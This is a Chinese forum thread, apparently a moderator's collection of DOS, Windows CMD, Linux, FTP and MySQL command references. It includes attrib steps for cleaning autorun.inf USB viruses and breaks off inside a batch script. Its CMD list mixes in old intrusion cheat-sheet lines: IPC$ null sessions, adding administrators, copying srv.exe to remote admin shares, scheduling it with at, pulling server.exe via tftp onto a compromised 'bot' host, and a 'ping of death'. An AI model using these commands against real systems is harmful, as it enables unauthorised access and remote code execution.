|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『楼 主』:
2DOS学习之语言命令集中营(20160203)
使用 LLM 解释/回答一下
多语言的汇集,主要以DOS和LINUX的范围为主,包括windows的延伸。
---------------------------------------------------------------------------------
1DOS命令:attrib命令, 2楼
2百度 dos (DOS命令讲解) 3楼
3论坛命令帮助 4楼
第一页-------------------------------------------------------------第一页
Last edited by zzz19760225 on 2016-2-3 at 12:17 ]
Collection of multiple languages, mainly focusing on the scope of DOS and LINUX, including extensions of Windows.
---------------------------------------------------------------------------------
1 DOS command: attrib command, Floor 2
2 Baidu dos (DOS command explanation) Floor 3
3 Forum command help Floor 4
First page-------------------------------------------------------------First page
Last edited by zzz19760225 on 2016-2-3 at 12:17 ]
|
|
2016-2-3 00:22 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 2 楼』:
attrib命令
使用 LLM 解释/回答一下
attrib命令:
<txd07 | 七级>
attrib 显示所有文件的属性;
参数:+r或-r 设置文件属性是否为只读
+h或-h 设置文件属性是否隐含
+s或-s 设置文件属性是否为系统文件
+a或-a 设置文件属性是否为归档文件
/s 设置包括子目录的文件在内的文件属性
, 设置所有属性文件为归档文件
<借过不用还 | 七级>
attrib
attrib指令用于修改文件的属性.文件的常见属性有:只读.存档.隐藏和系统.
只读属性是指文件只可以做读的操作.不能对文件进行写的操作.就是文件的写保护.
存档属性是用来标记文件改动的.即在上一次备份后文件有所改动.一些备份软件在备份的时候会只去备份带有存档属性的文件.
隐藏属性顾名思义即为隐藏文件.在通常情况下.在资源管理器中不显示带有隐藏属性的文件.
系统属性是指标注文件为系统文件.是系统需要调用的文件.
attrib指令的格式和常用参数为
ATTRIB filename] ]
+ 设置属性。
- 清除属性。
R 只读文件属性。
A 存档文件属性。
S 系统文件属性。
H 隐藏文件属性。
指定要处理的文件属性。
/S 处理当前文件夹及其子文件夹中的匹配文件。
/D 也处理文件夹。
attrib的用途不是很广泛.不过有的时候可以利用它来做一些方便的文件处理.比如U盘中感染了病毒.会在U盘的驱动器里建立多个隐藏的文件.其中会有一个名为autorun.inf的文件.这个文件会为U盘添加一个自动运行的菜单.如果把默认打开操作改成关联病毒程序.那么在你双击U盘的时候.就会感染U盘所带的病毒.通常情况下无法看到这些文件就没办法删除.可以用下面的步骤来清除.
以下假设我的U盘驱动器的盘符是L:."/*"与"*/"之间的内容为注释.在运行中敲入CMD确定便可以快速打开系统的命令提示符.运行的快捷键为"WIN"+"R".
C:\Documents and Settings\Administrator>L: /*进入L盘目录*/
L:\>dir/a /*这个指令是查看当前目录全部的文件.包括有隐藏属性的.可以用来查看是否有autorun.inf等文件.*/
L:\>attrib autorun.inf -a -s -r -h /*去掉autorun.inf的四种属性*/
L:\>del autorun.inf /*删除autorun.inf*/
然后拔掉U盘.再一次连接的时候U盘的自动运行菜单就没有了.当然.其他的病毒程序也可以如此操作.如果把autorun.inf换成*.*就可以一次对当前目录下全部文件进行操作了.如:
L:\>attrib *.* -a -s -r -h
attrib command:
<txd07 | Level 7>
attrib displays attributes of all files;
Parameters: +r or -r set whether the file attribute is read-only
+h or -h set whether the file attribute is hidden
+s or -s set whether the file attribute is system file
+a or -a set whether the file attribute is archive file
/s set file attributes including files in subdirectories
, set all attribute files to archive files
<Excuse me, don't need to return | Level 7>
attrib
The attrib command is used to modify file attributes. Common file attributes include: read-only, archive, hidden, and system.
Read-only attribute means the file can only be read and not written to, which is the write protection of the file.
Archive attribute is used to mark file changes, that is, the file has been changed since the last backup. Some backup software will only back up files with archive attributes during backup.
Hidden attribute, as the name implies, is a hidden file. Under normal circumstances, files with hidden attributes are not displayed in Windows Explorer.
System attribute marks the file as a system file, which is a file that the system needs to call.
The format and common parameters of the attrib command are
ATTRIB filename] ]
+ set attribute.
- clear attribute.
R read-only file attribute.
A archive file attribute.
S system file attribute.
H hidden file attribute.
Specify the file attributes to be processed.
/S process matching files in the current folder and its subfolders.
/D also process folders.
The use of attrib is not very extensive, but sometimes it can be used to do some convenient file processing. For example, if a virus infects a USB flash drive, multiple hidden files will be created in the USB flash drive drive. There will be a file named autorun.inf. This file will add an auto-run menu to the USB flash drive. If the default open operation is changed to associate with the virus program, then when you double-click the USB flash drive, the virus on the USB flash drive will be infected. Normally, you can't see these files and can't delete them. You can use the following steps to clear them.
The following assumes that the drive letter of my USB flash drive is L:."/*" to "*/" is a comment. You can quickly open the system command prompt by typing CMD in Run and confirming. The shortcut key for Run is "WIN"+"R".
C:\Documents and Settings\Administrator>L: /*Enter L drive directory*/
L:\>dir/a /*This command is to view all files in the current directory, including files with hidden attributes. It can be used to view whether there are files such as autorun.inf.*/
L:\>attrib autorun.inf -a -s -r -h /*Remove the four attributes of autorun.inf*/
L:\>del autorun.inf /*Delete autorun.inf*/
Then unplug the USB flash drive and connect it again, the auto-run menu of the USB flash drive will be gone. Of course, other virus programs can also be operated in this way. If you replace autorun.inf with *.*, you can operate all files in the current directory at once. For example:
L:\>attrib *.* -a -s -r -h
|
|
2016-2-3 00:23 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 3 楼』:
2百度 dos (DOS命令讲解) 3楼
使用 LLM 解释/回答一下
百度
dos (DOS命令讲解) 编辑
我们使用计算机接触最频繁的就是DOS。DOS是英文Disk Operating System的缩写,意思是“磁盘操作系统”,顾名思义,DOS主要是一种面向磁盘的系统软件,说得简单些,DOS就是人给机器下达命令的集合,是存储在机器硬件里头的一些命令集,有了DOS,我们就可以更容易理解怎么给机器下命令,不必去深入了解机器的硬件结构,也不必去死记硬背那些枯燥2进制数字的机器命令,只需通过一些接近于英语的DOS命令,我们就可以轻松地完成绝大多数的日常操作。另外,DOS还能有效地管理在它控制下的各种软硬件资源,对它们进行合理的调度,所有的软件和硬件都在DOS的监控和管理之下,有条不紊地进行着运转。
中文名 “磁盘操作系统 外文名 Disk Operating System 简 称 DOS 实 质 面向磁盘的系统软件 分 支 微软Win9x系列,FreeDOS,PCDOS等
目录
1 常用命令
2 不常用命令
3 CMD命令
4 应用示例
DOS一款在20世纪末期流行的操作系统,它是一款面向磁盘的系统软件。它的用途非常广泛,大名鼎鼎的 Windows 98 就是基于它的。目前DOS依然活跃,比如FreeDOS。
常用命令编辑
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“\”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。
2 cd
cd 目录名:进入特定的目录。如果看到有个目录显示为:abcdef ghi 就
输入:cd abcdef.ghi进入该目录。
cd\ 退回到根目录。
cd..退回到上一级目录。
3 md rd
md 目录名:建立特定的文件夹。 (dos下面习惯叫目录,win下面习惯叫文
件夹。)
rd 目录名:删除特定的文件夹。
4 cls
清除屏幕。 清除屏幕上所有的显示内容,只留下CLS命令前的路径
5 copy
copy 路径\文件名 路径\文件名 :把一个文件拷贝到另一个地方。
6 move
move 路径\文件名 路径\文件名 :把一个文件移动(就是复制+删除)到另
一个地方。
7 del
del 文件名:删除一个文件。
del *.*:删除当前文件夹下所有文件。
del不能删除文件夹。
8 deltree
删除文件夹和它下面的所有子文件夹还有文件,厉害。。。不要乱用。
9 format
format x: :x代表盘符,格式化一个分区。在dos下是用fat文件系统格式
化的,在windows2000安装的时候会问你要不要转换为ntfs。
10 type
type 文本文件名:显示出文本文件的内容。
11 edit
其实这是个小程序,编辑文本文件用的。
12 ren
ren 旧文件名 新文件名:改文件名。
mem 查看内存状况
more 分屏显示
move 移动文件、改目录名
rd 删除目录
ren 更改文件名
type 显示文件内容
sys 制作DOS系统盘
xcopy 拷贝目录与文件
attrib 设置文件属性
chkdsk 检查磁盘
date 显示及修改日期
defrag 磁盘碎片整理
doskey 重新调用DOS命令
emm386 扩展内存管理
fdisk 硬盘分区
help 帮助
label 设置卷标号
lh 将程序装入高端内存
memmaker内存优化管理
msd 系统检测
path 设置搜寻目录
prempt 设置提示符
restore 恢复备份文件
time 显示及修改时间
scandisk检测、修理磁盘
set 设置环境变量
smartdrv设置磁盘加速器
undelete恢复被删的文件
ftp远程文件上传或下载
telnet远程登录
常用命令具体介绍:
3.1、Dir
显示目录文件和子目录列表。
可以使用通配符(? 和 *),?表通配一个字符,*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏,请按键盘上的任意键。
/w
以宽格式显示列表,在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt,包括子目录下文件。
3.2、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用,则 attrib 会显示当前目录中所有文件的属性。
+r
设置只读属性。
-r
清除只读属性。
+a
设置存档文件属性。
-a
清除存档文件属性。
+s
设置系统属性。
-s
清除系统属性。
+h
设置隐藏属性。
-h
清除隐藏属性。
3.3、Cl*
清除显示在命令提示符窗口中的所有信息,并返回空窗口,即“清屏”
3.4、**it
退出当前命令解释程序并返回到系统。
3,5、format
格式化
/q
执行快速格式化。删除以前已格式化卷的文件表和根目录,但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
3.6、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all
显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg,后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
3.7、md
创建目录或子目录
3.8、Move
将一个或多个文件从一个目录移动到指定的目录。
3.9、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress
显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
3.10、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
-a
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 U** 端口。
3.11、*ing
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数,ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按 CTRL-BREAK。要中断并退出 ping,请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为 32。size 的最大值是 65,527。
3.12、Rename (Ren)
更改文件的名称。
例如 ren *.abc *.cba
3.13、Set
显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。
3.14、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数,shutdown 将注销当前用户。
-m ComputerName
指定要关闭的计算机。
-t xx
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l
注销当前用户,这是默认设置。-m ComputerName 优先。
-s
关闭本地计算机。
-r
关闭之后重新启动。
-a
中止关闭。除了 -l 和 ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。
3.15、System File Checker (sfc)
win下才有,在重新启动计算机后扫描和验证所有受保护的系统文件。
/scannow
立即扫描所有受保护的系统文件。
/scanonce
一次扫描所有受保护的系统文件。
/purgecache
立即清除“Windows 文件保护”文件高速缓存,并扫描所有受保护的系统文件。
/cachesize=x
设置“Windows 文件保护”文件高速缓存的大小,以 MB 为单位。
3,16、type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
3.17、Tree
图像化显示路径或驱动器中磁盘的目录结构。
3.18、Xcopy
复制文件和目录,包括子目录。
/s
复制非空的目录和子目录。如果省略 /s,xcopy 将在一个目录中工作。
/e
复制所有子目录,包括空目录。
3.19、copy
将一个或多个文件从一个位置复制到其他位置
3.20、del
删除指定文件。
ftp和bat批命令和net和telnet由于子命令太多,这里不说了,不过这几个都是常用到的。
不常用命令编辑
append 设置非执行文件路径
debug 随机调试程序
diskcomp磁盘比较
expand 还原DOS文件
fasthelp 快速显示帮助信息
fc 文件比较
interink 启动服务器
intersvr 启动客户机
qbasic Basic集成环境
setver 设置版本
share 文件共享
subst 路径替换
tree 列目录树
unformat 恢复已格式化的磁盘
vsafe 防病毒
ver 显示DOS版本号
vol 显示磁盘卷标号
ctty 改变控制设备
DOS常用命令详解
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
copy 拷贝文件 diskcopy 复制磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 rd 删除目录
sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
diskcomp磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
CMD命令编辑
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user 用户名/del 删除用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help 或 ? 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 将本地一个文件传送至远端主机中
get 或 recv 从远端主机中传送至本地主机中
mget 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name 重新以别的用户名登录远端主机
open host 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的 \\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %
应用示例编辑
(批处理)
echo on
set LOG_HOME=D:\home\path\logs
set DATA_HOME=D:\home\path\data
set DATA_BACKUP_HOME=D:\home\path\data\backup
set DATA_PROC_SUBFOLDER=err,processed,work
set COUNTRY_LIST=sg,my
set JOB_TYPE_EOD=eod
set JOB_TYPE_IOD=iod
set BATCH_JOB_LIST_EOD=eodtlm,eodfxc
set BATCH_JOB_LIST_IOD=iodtlm,iodfxc
set APPLICATION_LIST=webfitas,fxretail
set APP_LIST_OTHER=saa,midas
set MSG_TYPE_LIST=mt940,mt942
echo "start to created folder"
for %%C in (%COUNTRY_LIST%) do (
echo "country code:" %%C
for %%B in (%BATCH_JOB_LIST_EOD%) do (
echo "Batch Job Name:" %%B
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
for %%S in (%DATA_PROC_SUBFOLDER%) do (
echo "Sub-folder:" %%S
mkdir %DATA_HOME%\%%C\%JOB_TYPE_EOD%\%%B\%%A\%%S
)
)
)
for %%B in (%BATCH_JOB_LIST_IOD%) do (
echo "Batch Job Name:" %%B
for %%A in (%APPLICATION_LIST%) do (
